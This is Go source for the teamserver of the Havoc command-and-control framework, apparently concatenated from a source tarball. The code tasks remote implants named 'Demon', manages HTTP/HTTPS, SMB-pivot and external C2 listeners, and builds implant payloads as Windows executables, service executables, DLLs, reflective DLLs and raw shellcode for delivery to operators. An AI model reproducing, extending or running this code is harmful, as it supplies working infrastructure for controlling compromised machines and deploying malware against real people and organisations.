"fmt" "strconv" "strings" "time" "Havoc/pkg/agent" "Havoc/pkg/common/builder" "Havoc/pkg/events" "Havoc/pkg/handlers" "Havoc/pkg/logger" "Havoc/pkg/logr" "Havoc/pkg/packager" ) func (t *Teamserver) DispatchEvent(pk packager.Package) { switch pk.Head.Event { case packager.Type.Session.Type: switch pk.Body.SubEvent { case packager.Type.Session.MarkAsDead: if AgentID, ok := pk.Body.Info["AgentID"]; ok { for i := range t.Agents.Agents { if t.Agents.Agents[i].NameID == AgentID { if val, ok := pk.Body.Info["Marked"]; ok { if val == "Dead" { t.Died(t.Agents.Agents[i]) } else if val == "Alive" { t.Agents.Agents[i].Active = true } t.AgentUpdate(t.Agents.Agents[i]) } } } } break case packager.Type.Session.Input: var ( job *agent.Job command = 0 AgentType = "Demon" err error DemonID string found = false ) if agentID, ok := pk.Body.Info["DemonID"].(string); ok { DemonID = agentID } else { logger.Debug("AgentID [" + agentID + "] not found") return } for i := range t.Agents.Agents { if t.Agents.Agents[i].NameID == DemonID { found = true // handle demon session input // TODO: maybe move to own function ? if t.Agents.Agents[i].Info.MagicValue == agent.DEMON_MAGIC_VALUE { var ( Message = new(map[string]string) Console = func(AgentID string, Message map[string]string) { var ( out, _ = json.Marshal(Message) pk = events.Demons.DemonOutput(DemonID, agent.HAVOC_CONSOLE_MESSAGE, string(out)) ) t.EventAppend(pk) t.EventBroadcast("", pk) } ) if val, ok := pk.Body.Info["CommandID"]; ok { if pk.Body.Info["CommandID"] == "Python Plugin" { // TODO: move to own function. logr.LogrInstance.AddAgentInput("Demon", pk.Body.Info["DemonID"].(string), pk.Head.User, pk.Body.Info["TaskID"].(string), pk.Body.Info["CommandLine"].(string), time.Now().UTC().Format("02/01/2006 15:04:05")) if pk.Head.OneTime == "true" { return } var backups = map[string]interface{}{ "TaskID": pk.Body.Info["TaskID"].(string), "DemonID": DemonID, "CommandID": "", "CommandLine": pk.Body.Info["CommandLine"].(string), "AgentType": AgentType, } if _, ok := pk.Body.Info["CommandID"].(string); ok { backups["CommandID"] = pk.Body.Info["CommandID"] } if _, ok := pk.Body.Info["TaskMessage"].(string); ok { backups["TaskMessage"] = pk.Body.Info["TaskMessage"] } for k := range pk.Body.Info { delete(pk.Body.Info, k) } pk.Body.Info = backups t.EventAppend(pk) t.EventBroadcast(pk.Head.User, pk) return } else if pk.Body.Info["CommandID"] == "Teamserver" { // TODO: move to own function. logr.LogrInstance.AddAgentInput("Demon", pk.Body.Info["DemonID"].(string), pk.Head.User, pk.Body.Info["TaskID"].(string), pk.Body.Info["CommandLine"].(string), time.Now().UTC().Format("02/01/2006 15:04:05")) var Command = pk.Body.Info["Command"].(string) if pk.Head.OneTime == "true" { return } var backups = map[string]interface{}{ "TaskID": pk.Body.Info["TaskID"].(string), "DemonID": DemonID, "CommandID": "", "CommandLine": pk.Body.Info["CommandLine"].(string), "AgentType": AgentType, } if _, ok := pk.Body.Info["CommandID"].(string); ok { backups["CommandID"] = pk.Body.Info["CommandID"] } for k := range pk.Body.Info { delete(pk.Body.Info, k) } pk.Body.Info = backups t.EventAppend(pk) t.EventBroadcast(pk.Head.User, pk) if err = t.Agents.Agents[i].TeamserverTaskPrepare(Command, Console); err != nil { Console(t.Agents.Agents[i].NameID, map[string]string{ "Type": "Error", "Message": "Failed to create Task: " + err.Error(), }) return } return } else { // TODO: move to own function. command, err = strconv.Atoi(val.(string)) if err != nil { logger.Error("Failed to convert CommandID to integer: " + err.Error()) command = 0 } else { *Message = make(map[string]string) var ClientID string ClientID = "" t.Clients.Range(func(key, value any) bool { client := value.(*Client) if client.Username == pk.Head.User { ClientID = client.ClientID return false } return true }) job, err = t.Agents.Agents[i].TaskPrepare(command, pk.Body.Info, Message, ClientID, t) if err != nil { Console(t.Agents.Agents[i].NameID, map[string]string{ "Type": "Error", "Message": "Failed to create Task: " + err.Error(), }) return } if job != nil { t.Agents.Agents[i].AddJobToQueue(*job) } if t.Agents.Agents[i].Pivots.Parent != nil { logr.LogrInstance.AddAgentInput("Demon", t.Agents.Agents[i].NameID, pk.Head.User, pk.Body.Info["TaskID"].(string), pk.Body.Info["CommandLine"].(string), time.Now().UTC().Format("02/01/2006 15:04:05")) } else { logr.LogrInstance.AddAgentInput("Demon", pk.Body.Info["DemonID"].(string), pk.Head.User, pk.Body.Info["TaskID"].(string), pk.Body.Info["CommandLine"].(string), time.Now().UTC().Format("02/01/2006 15:04:05")) } if pk.Head.OneTime == "true" { return } var backups = map[string]interface{}{ "TaskID": pk.Body.Info["TaskID"].(string), "DemonID": DemonID, "CommandID": "", "CommandLine": pk.Body.Info["CommandLine"].(string), "AgentType": AgentType, } if _, ok := pk.Body.Info["CommandID"].(string); ok { backups["CommandID"] = pk.Body.Info["CommandID"] } for k := range pk.Body.Info { delete(pk.Body.Info, k) } pk.Body.Info = backups t.EventAppend(pk) t.EventBroadcast(pk.Head.User, pk) if Message != nil { Console(t.Agents.Agents[i].NameID, *Message) } return } } } } else { for _, a := range t.Service.Agents { if a.MagicValue == fmt.Sprintf("0x%x", t.Agents.Agents[i].Info.MagicValue) { // Set agent type AgentType = a.Name if pk.Body.Info["CommandID"] == "Python Plugin" { logr.LogrInstance.AddAgentInput(AgentType, pk.Body.Info["DemonID"].(string), pk.Head.User, pk.Body.Info["TaskID"].(string), pk.Body.Info["CommandLine"].(string), time.Now().UTC().Format("02/01/2006 15:04:05")) if pk.Head.OneTime == "true" { return } var backups = map[string]interface{}{ "TaskID": pk.Body.Info["TaskID"].(string), "DemonID": DemonID, "CommandID": "", "CommandLine": pk.Body.Info["CommandLine"].(string), "AgentType": AgentType, } if _, ok := pk.Body.Info["CommandID"].(string); ok { backups["CommandID"] = pk.Body.Info["CommandID"] } if _, ok := pk.Body.Info["TaskMessage"].(string); ok { backups["TaskMessage"] = pk.Body.Info["TaskMessage"] } for k := range pk.Body.Info { delete(pk.Body.Info, k) } pk.Body.Info = backups t.EventAppend(pk) t.EventBroadcast(pk.Head.User, pk) return } else { // Send command to agent service a.SendTask(pk.Body.Info, t.Agents.Agents[i].ToMap()) // log agent input logr.LogrInstance.AddAgentInput(a.Name, pk.Body.Info["DemonID"].(string), pk.Head.User, pk.Body.Info["TaskID"].(string), pk.Body.Info["CommandLine"].(string), time.Now().UTC().Format("02/01/2006 15:04:05")) } } } } break } } if found == false { logger.Error(fmt.Sprintf("The AgentID %s was not found", DemonID)) return } if pk.Head.OneTime == "true" { return } var backups = map[string]interface{}{ "TaskID": pk.Body.Info["TaskID"].(string), "DemonID": DemonID, "CommandID": "", "CommandLine": pk.Body.Info["CommandLine"].(string), "AgentType": AgentType, } if _, ok := pk.Body.Info["CommandID"].(string); ok { backups["CommandID"] = pk.Body.Info["CommandID"] } for k := range pk.Body.Info { delete(pk.Body.Info, k) } pk.Body.Info = backups t.EventAppend(pk) t.EventBroadcast(pk.Head.User, pk) } case packager.Type.Chat.Type: switch pk.Body.SubEvent { case packager.Type.Chat.NewMessage: t.EventBroadcast("", pk) break case packager.Type.Chat.NewSession: t.EventBroadcast("", pk) break case packager.Type.Chat.NewListener: t.EventBroadcast("", pk) break } case packager.Type.Listener.Type: switch pk.Body.SubEvent { case packager.Type.Listener.Add: var Protocol = pk.Body.Info["Protocol"].(string) switch Protocol { case handlers.AGENT_HTTP, handlers.AGENT_HTTPS: var ( HostBind string Hosts []string Headers []string Uris []string ) HostBind = pk.Body.Info["HostBind"].(string) for _, s := range strings.Split(pk.Body.Info["Hosts"].(string), ", ") { if len(s) > 0 { Hosts = append(Hosts, s) } } for _, s := range strings.Split(pk.Body.Info["Headers"].(string), ", ") { if len(s) > 0 { Headers = append(Headers, s) } } for _, s := range strings.Split(pk.Body.Info["Uris"].(string), ", ") { if len(s) > 0 { Uris = append(Uris, s) } } var Config = handlers.HTTPConfig{ Name: pk.Body.Info["Name"].(string), Hosts: Hosts, HostBind: HostBind, HostRotation: pk.Body.Info["HostRotation"].(string), PortBind: pk.Body.Info["PortBind"].(string), PortConn: pk.Body.Info["PortConn"].(string), Headers: Headers, Uris: Uris, HostHeader: pk.Body.Info["HostHeader"].(string), UserAgent: pk.Body.Info["UserAgent"].(string), BehindRedir: t.Profile.Config.Demon.TrustXForwardedFor, } if val, ok := pk.Body.Info["Proxy Enabled"].(string); ok { Config.Proxy.Enabled = false if val == "true" { Config.Proxy.Enabled = true if val, ok = pk.Body.Info["Proxy Type"].(string); ok { Config.Proxy.Type = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy type not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } if val, ok = pk.Body.Info["Proxy Host"].(string); ok { Config.Proxy.Host = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy host not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } if val, ok = pk.Body.Info["Proxy Port"].(string); ok { Config.Proxy.Port = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy port not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) return } if val, ok = pk.Body.Info["Proxy Username"].(string); ok { Config.Proxy.Username = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy username not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) return } if val, ok = pk.Body.Info["Proxy Password"].(string); ok { Config.Proxy.Password = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy password not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) return } } } if pk.Body.Info["Secure"].(string) == "true" { Config.Secure = true } if err := t.ListenerStart(handlers.LISTENER_HTTP, Config); err != nil { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), err)) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } break case handlers.AGENT_PIVOT_SMB: var ( SmdConfig handlers.SMBConfig found bool ) SmdConfig.Name, found = pk.Body.Info["Name"].(string) if !found { SmdConfig.Name = "" } SmdConfig.PipeName, found = pk.Body.Info["PipeName"].(string) if !found { SmdConfig.Name = "" } if err := t.ListenerStart(handlers.LISTENER_PIVOT_SMB, SmdConfig); err != nil { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), err)) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } break case handlers.AGENT_EXTERNAL: var ( ExtConfig handlers.ExternalConfig found bool ) ExtConfig.Name, found = pk.Body.Info["Name"].(string) if !found { ExtConfig.Name = "" } ExtConfig.Endpoint, found = pk.Body.Info["Endpoint"].(string) if !found { logger.Error("Listener SMB Pivot: Endpoint not specified") return } if err := t.ListenerStart(handlers.LISTENER_EXTERNAL, ExtConfig); err != nil { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), err)) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } break default: // check if the service endpoint is up and available if t.Service != nil { for _, listener := range t.Service.Listeners { if Protocol == listener.Name { var ( ListenerName string err error ) // retrieve the listener name if val, ok := pk.Body.Info["Name"]; ok { ListenerName = val.(string) } // try to start the listener. if err = listener.Start(pk.Body.Info); err != nil { t.EventListenerError(ListenerName, err) } // append the listener to the teamserver listener array t.Listeners = append(t.Listeners, &Listener{ Name: ListenerName, Type: handlers.LISTENER_SERVICE, Config: handlers.Service{ Service: listener, Info: pk.Body.Info, }, }) // break from this switch return } } } // didn't found the protocol type so just abort logger.Error("Listener Type not found: ", Protocol) break } break case packager.Type.Listener.Remove: if val, ok := pk.Body.Info["Name"]; ok { t.ListenerRemove(val.(string)) var p = events.Listener.ListenerRemove(val.(string)) t.EventAppend(p) t.EventBroadcast("", p) } break case packager.Type.Listener.Edit: var Protocol = pk.Body.Info["Protocol"].(string) switch Protocol { case handlers.AGENT_HTTP, handlers.AGENT_HTTPS: var ( HostBind string Hosts []string Headers []string Uris []string ) HostBind = pk.Body.Info["HostBind"].(string) for _, s := range strings.Split(pk.Body.Info["Hosts"].(string), ", ") { if len(s) > 0 { Hosts = append(Hosts, s) } } for _, s := range strings.Split(pk.Body.Info["Headers"].(string), ", ") { if len(s) > 0 { Headers = append(Headers, s) } } for _, s := range strings.Split(pk.Body.Info["Uris"].(string), ", ") { if len(s) > 0 { Uris = append(Uris, s) } } var Config = handlers.HTTPConfig{ Name: pk.Body.Info["Name"].(string), Hosts: Hosts, HostBind: HostBind, HostRotation: pk.Body.Info["HostRotation"].(string), PortBind: pk.Body.Info["PortBind"].(string), PortConn: pk.Body.Info["PortConn"].(string), Headers: Headers, Uris: Uris, HostHeader: pk.Body.Info["HostHeader"].(string), UserAgent: pk.Body.Info["UserAgent"].(string), } if val, ok := pk.Body.Info["Proxy Enabled"].(string); ok { Config.Proxy.Enabled = false if val == "true" { Config.Proxy.Enabled = true if val, ok = pk.Body.Info["Proxy Type"].(string); ok { Config.Proxy.Type = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy type not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } if val, ok = pk.Body.Info["Proxy Host"].(string); ok { Config.Proxy.Host = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy host not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } if val, ok = pk.Body.Info["Proxy Port"].(string); ok { Config.Proxy.Port = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy port not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) return } if val, ok = pk.Body.Info["Proxy Username"].(string); ok { Config.Proxy.Username = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy username not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) return } if val, ok = pk.Body.Info["Proxy Password"].(string); ok { Config.Proxy.Password = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy password not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) return } } } if pk.Body.Info["Secure"].(string) == "true" { Config.Secure = true } t.ListenerEdit(handlers.LISTENER_HTTP, Config) var p = events.Listener.ListenerEdit(handlers.LISTENER_HTTP, &Config) t.EventAppend(p) t.EventBroadcast("", p) break } break } case packager.Type.Gate.Type: switch pk.Body.SubEvent { case packager.Type.Gate.Stageless: var ( AgentType = pk.Body.Info["AgentType"].(string) ListenerName = pk.Body.Info["Listener"].(string) Arch = pk.Body.Info["Arch"].(string) Format = pk.Body.Info["Format"].(string) Config = pk.Body.Info["Config"].(string) SendConsoleMsg func(MsgType, Message string) ClientID string ) t.Clients.Range(func(key, value any) bool { Client := value.(*Client) if Client.Username == pk.Head.User { ClientID = Client.ClientID return false } return true }) SendConsoleMsg = func(MsgType, Message string) { err := t.SendEvent(ClientID, events.Gate.SendConsoleMessage(MsgType, Message)) if err != nil { logger.Error("Couldn't send Event: " + err.Error()) return } } if AgentType == "Demon" { go func() { var ConfigMap = make(map[string]any) err := json.Unmarshal([]byte(Config), &ConfigMap) if err != nil { logger.Error("Failed to Unmarshal json to object: " + err.Error()) return } var PayloadBuilder = builder.NewBuilder(builder.BuilderConfig{ Compiler64: t.Settings.Compiler64, Compiler86: t.Settings.Compiler32, Nasm: t.Settings.Nasm, DebugDev: t.Flags.Server.DebugDev, SendLogs: t.Flags.Server.SendLogs, }) PayloadBuilder.ClientId = ClientID if PayloadBuilder.ClientId == "" { logger.Error("Couldn't find the Client") return } PayloadBuilder.SendConsoleMessage = SendConsoleMsg err = PayloadBuilder.SetConfig(Config) if err != nil { return } if Arch == "x64" { PayloadBuilder.SetArch(builder.ARCHITECTURE_X64) } else { PayloadBuilder.SetArch(builder.ARCHITECTURE_X86) } var Ext string if Arch == "x64" { Ext = ".x64" } else { Ext = ".x86" } logger.Debug(Format) if Format == "Windows Exe" { PayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_EXE) Ext += ".exe" } else if Format == "Windows Service Exe" { PayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_SERVICE_EXE) Ext += ".exe" } else if Format == "Windows Dll" { PayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_DLL) Ext += ".dll" } else if Format == "Windows Reflective Dll" { PayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_REFLECTIVE_DLL) Ext += ".dll" } else if Format == "Windows Shellcode" { PayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_RAW_BINARY) Ext += ".bin" } else { logger.Error("Unknown Format: " + Format) return } for i := 0; i < len(t.Listeners); i++ { if t.Listeners[i].Name == ListenerName { PayloadBuilder.SetListener(t.Listeners[i].Type, t.Listeners[i].Config) } } PayloadBuilder.SetExtension(Ext) if t.Profile.Config.Demon != nil && t.Profile.Config.Demon.Binary != nil { PayloadBuilder.SetPatchConfig(t.Profile.Config.Demon.Binary) } if PayloadBuilder.Build() { pal := PayloadBuilder.GetPayloadBytes() if len(pal) > 0 { err := t.SendEvent(PayloadBuilder.ClientId, events.Gate.SendStageless("demon"+Ext, pal)) if err != nil { logger.Error("Error while sending event: " + err.Error()) return } PayloadBuilder.DeletePayload() } } }() } else { // send to Services for _, Agent := range t.Service.Agents { if Agent.Name == AgentType { var ConfigMap = make(map[string]any) err := json.Unmarshal([]byte(Config), &ConfigMap) if err != nil { logger.Error("Failed to Unmarshal json to object: " + err.Error()) SendConsoleMsg("Error", "Failed to Unmarshal json to object: "+err.Error()) return } var Options = map[string]any{ "Listener": t.ListenerGetInfo(ListenerName), "Arch": Arch, "Format": Format, } Agent.SendAgentBuildRequest(ClientID, ConfigMap, Options) } } } } } } havoc-0.6~git20240910.69ce17c/teamserver/cmd/server/listener.go000066400000000000000000000247101467014221700236750ustar00rootroot00000000000000package server import ( "Havoc/pkg/colors" "Havoc/pkg/events" "Havoc/pkg/handlers" "Havoc/pkg/logger" "Havoc/pkg/packager" "Havoc/pkg/service" "encoding/json" "errors" "fmt" "strings" "time" "github.com/fatih/structs" ) func (t *Teamserver) ListenerStart(ListenerType int, info any) error { var ( ListenerConfig any ListenerName string ) for _, listener := range t.Listeners { var Name string switch ListenerType { case handlers.LISTENER_HTTP: Name = info.(handlers.HTTPConfig).Name break case handlers.LISTENER_PIVOT_SMB: Name = info.(handlers.SMBConfig).Name break case handlers.LISTENER_EXTERNAL: Name = info.(handlers.ExternalConfig).Name break } if Name == listener.Name { return errors.New("listener already exists") } } switch ListenerType { case handlers.LISTENER_HTTP: var HTTPConfig = handlers.NewConfigHttp() var config = info.(handlers.HTTPConfig) HTTPConfig.Config = config HTTPConfig.Config.Secure = config.Secure // HTTPConfig.RoutineFunc = Functions HTTPConfig.Teamserver = t HTTPConfig.Start() ListenerConfig = HTTPConfig ListenerName = config.Name break case handlers.LISTENER_PIVOT_SMB: var SmbConfig = handlers.NewPivotSmb() SmbConfig.Config = info.(handlers.SMBConfig) // SmbConfig.RoutineFunc = Functions SmbConfig.Teamserver = t // this only prints a message and lets the client now that it is ready to use SmbConfig.Start() ListenerConfig = SmbConfig ListenerName = SmbConfig.Config.Name break case handlers.LISTENER_EXTERNAL: var ( ExtConfig = handlers.NewExternal(t.Server.Engine, info.(handlers.ExternalConfig)) endpoint = new(Endpoint) ) // ExtConfig.RoutineFunc = Functions ExtConfig.Teamserver = t ExtConfig.Start() endpoint.Endpoint = ExtConfig.Config.Endpoint endpoint.Function = ExtConfig.Request t.EndpointAdd(endpoint) ListenerConfig = ExtConfig ListenerName = info.(handlers.ExternalConfig).Name break } t.Listeners = append(t.Listeners, &Listener{ Name: ListenerName, Type: ListenerType, Config: ListenerConfig, }) return nil } func (t *Teamserver) ListenerExist(Name string) bool { for _, l := range t.Listeners { if l.Name == Name { return true } } return false } func (t *Teamserver) ListenerGetInfo(Name string) map[string]any { for _, listener := range t.Listeners { if listener.Name == Name { switch listener.Type { case handlers.LISTENER_HTTP: return structs.Map(listener.Config.(*handlers.HTTP).Config) case handlers.LISTENER_EXTERNAL: break case handlers.LISTENER_PIVOT_SMB: break } } } return nil } func (t *Teamserver) ListenerRemove(Name string) ([]*Listener, []packager.Package) { for i := range t.Listeners { if t.Listeners[i].Name == Name { switch t.Listeners[i].Config.(type) { case *handlers.HTTP: err := t.Listeners[i].Config.(*handlers.HTTP).Stop() if err != nil { var pk = events.Listener.ListenerError("", t.Listeners[i].Name, err) t.EventAppend(pk) t.EventBroadcast("", pk) } case *handlers.External: t.EndpointRemove(t.Listeners[i].Config.(*handlers.External).Config.Endpoint) } // remove the listener from our database err := t.DB.ListenerRemove(Name) if err != nil { logger.Error("Failed to remove listener: ", Name) return t.Listeners, t.EventsList } t.Listeners = append(t.Listeners[:i], t.Listeners[i+1:]...) for EventID := range t.EventsList { if t.EventsList[EventID].Head.Event == packager.Type.Listener.Type { if t.EventsList[EventID].Body.SubEvent == packager.Type.Listener.Add { if name, ok := t.EventsList[EventID].Body.Info["Name"]; ok { if name == Name { t.EventsList = append(t.EventsList[:EventID], t.EventsList[EventID+1:]...) return t.Listeners, t.EventsList } } } } } return t.Listeners, t.EventsList } } logger.Error("Listener not found: ", Name) return t.Listeners, t.EventsList } func (t *Teamserver) ListenerEdit(Type int, Config any) { switch Type { case handlers.LISTENER_HTTP: for i := range t.Listeners { if t.Listeners[i].Name == Config.(handlers.HTTPConfig).Name { t.Listeners[i].Config.(*handlers.HTTP).Config.UserAgent = Config.(handlers.HTTPConfig).UserAgent t.Listeners[i].Config.(*handlers.HTTP).Config.Headers = Config.(handlers.HTTPConfig).Headers t.Listeners[i].Config.(*handlers.HTTP).Config.Uris = Config.(handlers.HTTPConfig).Uris t.Listeners[i].Config.(*handlers.HTTP).Config.Proxy = Config.(handlers.HTTPConfig).Proxy t.Listeners[i].Config.(*handlers.HTTP).Config.BehindRedir = t.Profile.Config.Demon.TrustXForwardedFor } } case handlers.LISTENER_SERVICE: logger.Debug("LISTENER_SERVICE edit: ", Config) break } } // ListenerAdd // creates a package for the client that a new listener has been added. func (t *Teamserver) ListenerAdd(FromUser string, Type int, Config any) packager.Package { var ( Name string Protocol string ConfigJson []byte ) switch Type { case handlers.LISTENER_HTTP: var ( Info = structs.Map(Config.(*handlers.HTTP).Config) Host string ) Protocol = handlers.AGENT_HTTP Name = Info["Name"].(string) /* Now set the config/info */ Info["Hosts"] = strings.Join(Config.(*handlers.HTTP).Config.Hosts, ", ") Info["Headers"] = strings.Join(Config.(*handlers.HTTP).Config.Headers, ", ") Info["Uris"] = strings.Join(Config.(*handlers.HTTP).Config.Uris, ", ") /* proxy settings */ Info["Proxy Enabled"] = Config.(*handlers.HTTP).Config.Proxy.Enabled Info["Proxy Type"] = Config.(*handlers.HTTP).Config.Proxy.Type Info["Proxy Host"] = Config.(*handlers.HTTP).Config.Proxy.Host Info["Proxy Port"] = Config.(*handlers.HTTP).Config.Proxy.Port Info["Proxy Username"] = Config.(*handlers.HTTP).Config.Proxy.Username Info["Proxy Password"] = Config.(*handlers.HTTP).Config.Proxy.Password Info["Secure"] = Config.(*handlers.HTTP).Config.Secure Info["Status"] = Config.(*handlers.HTTP).Active Info["Response Headers"] = strings.Join(Config.(*handlers.HTTP).Config.Response.Headers, ", ") Info["Secure"] = "false" if Config.(*handlers.HTTP).Config.Secure { Info["Secure"] = "true" } if Config.(*handlers.HTTP).Active { Info["Status"] = "Online" } else { Info["Status"] = "Offline" } delete(Info, "Proxy") delete(Info, "Name") delete(Info, "Response") delete(Info, "Hosts") delete(Info, "Name") for _, host := range Config.(*handlers.HTTP).Config.Hosts { if len(Host) == 0 { Host = host } else { Host += ", " + host } } Info["Hosts"] = Host /* we get an error just do nothing */ ConfigJson, _ = json.Marshal(Info) break case handlers.LISTENER_PIVOT_SMB: Info := structs.Map(Config.(*handlers.SMB).Config) Protocol = handlers.AGENT_PIVOT_SMB Name = Info["Name"].(string) Info["Status"] = "Online" delete(Info, "Name") /* we get an error just do nothing */ ConfigJson, _ = json.Marshal(Info) break case handlers.LISTENER_EXTERNAL: Info := structs.Map(Config.(*handlers.External).Config) Protocol = handlers.AGENT_EXTERNAL Name = Info["Name"].(string) Info["Status"] = "Online" delete(Info, "Name") /* we get an error just do nothing */ ConfigJson, _ = json.Marshal(Info) break } // just add the listener to the sqlite db if we got any config provided if len(ConfigJson) > 0 { err := t.DB.ListenerAdd(Name, Protocol, string(ConfigJson)) if err != nil { logger.Error(fmt.Sprintf("Failed to add Listener \"%s\": %v", Name, err)) } } return events.Listener.ListenerAdd(FromUser, Type, Config) } // ListenerServiceExc2Add // adds an external c2 listener that has been started from a service script to the teamserver listener list. func (t *Teamserver) ListenerServiceExc2Add(Name, ExEndpoint string, client *service.ClientService) error { logger.Debug("test") var ( Config = handlers.ExternalConfig{ Name: Name, Endpoint: ExEndpoint, } ExtConfig *handlers.External ) if t.ListenerExist(Name) { return errors.New("listener with that name already exist") } // create a new external C2 instance ExtConfig = handlers.NewExternal(t.Server.Engine, Config) ExtConfig.Teamserver = t ExtConfig.Data = map[string]any{ "client": client, } t.EndpointAdd(&Endpoint{ Endpoint: ExtConfig.Config.Endpoint, Function: ExtConfig.Request, }) // add this exc2 listener to the teamserver listener list t.Listeners = append(t.Listeners, &Listener{ Name: Name, Type: handlers.LISTENER_EXTERNAL, Config: ExtConfig, }) return nil } // ListenerStartNotify // Notifies the clients of a new listener that is available to use. func (t *Teamserver) ListenerStartNotify(Listener map[string]any) { var ( ListenerName string ListenerProt string ListenerHost string ListenerPort string ListenerErro string ListenerStatus string ListenerInfo string pk = packager.Package{ Head: packager.Head{ Event: packager.Type.Listener.Type, }, Body: packager.Body{ SubEvent: packager.Type.Listener.Add, }, } ) logger.Debug(Listener) if val, ok := Listener["Name"]; ok { ListenerName = val.(string) } else { logger.DebugError("Listener map doesn't contain Name") return } if val, ok := Listener["Protocol"]; ok { ListenerProt = val.(string) } else { logger.DebugError("Listener map doesn't contain Protocol") return } if val, ok := Listener["Host"]; ok { ListenerHost = val.(string) } else { logger.DebugError("Listener map doesn't contain Host") return } if val, ok := Listener["Port"]; ok { ListenerPort = val.(string) } else { logger.DebugError("Listener map doesn't contain Port") return } if val, ok := Listener["Error"]; ok { ListenerErro = val.(string) } else { logger.DebugError("Listener map doesn't contain Error") return } if val, ok := Listener["Status"]; ok { ListenerStatus = val.(string) } else { logger.DebugError("Listener map doesn't contain Status") return } if val, ok := Listener["Info"]; ok { ListenerInfo = val.(string) } else { logger.DebugError("Listener map doesn't contain Info") return } pk.Head.Time = time.Now().Format("02/01/2006 15:04:05") pk.Body.Info = map[string]any{ "Name": ListenerName, "Protocol": ListenerProt, "Host": ListenerHost, "Port": ListenerPort, "Error": ListenerErro, "Status": ListenerStatus, "Info": ListenerInfo, } t.EventAppend(pk) t.EventBroadcast("", pk) logger.Info(fmt.Sprintf("Started \"%v\" listener", colors.Green(ListenerName))) } havoc-0.6~git20240910.69ce17c/teamserver/cmd/server/service.go000066400000000000000000000011451467014221700235050ustar00rootroot00000000000000package server import ( "Havoc/pkg/agent" "Havoc/pkg/logger" "fmt" ) func (t *Teamserver) ServiceAgent(MagicValue int) agent.ServiceAgentInterface { for _, agentService := range t.Service.Agents { if agentService.MagicValue == fmt.Sprintf("0x%x", MagicValue) { return agentService } } logger.Debug("Service agent not found") return nil } func (t *Teamserver) ServiceAgentExist(MagicValue int) bool { for _, agentService := range t.Service.Agents { if agentService.MagicValue == fmt.Sprintf("0x%x", MagicValue) { return true } } logger.Debug("Service agent not found") return false } havoc-0.6~git20240910.69ce17c/teamserver/cmd/server/teamserver.go000066400000000000000000000577541467014221700242430ustar00rootroot00000000000000package server import "C" import ( "Havoc/pkg/agent" "Havoc/pkg/common/certs" "Havoc/pkg/db" "Havoc/pkg/service" "Havoc/pkg/webhook" "bytes" "encoding/hex" "encoding/json" "errors" "fmt" "io" "net/http" "os" "os/exec" "strconv" "strings" "time" "github.com/gin-gonic/gin" "github.com/gorilla/websocket" "golang.org/x/crypto/sha3" 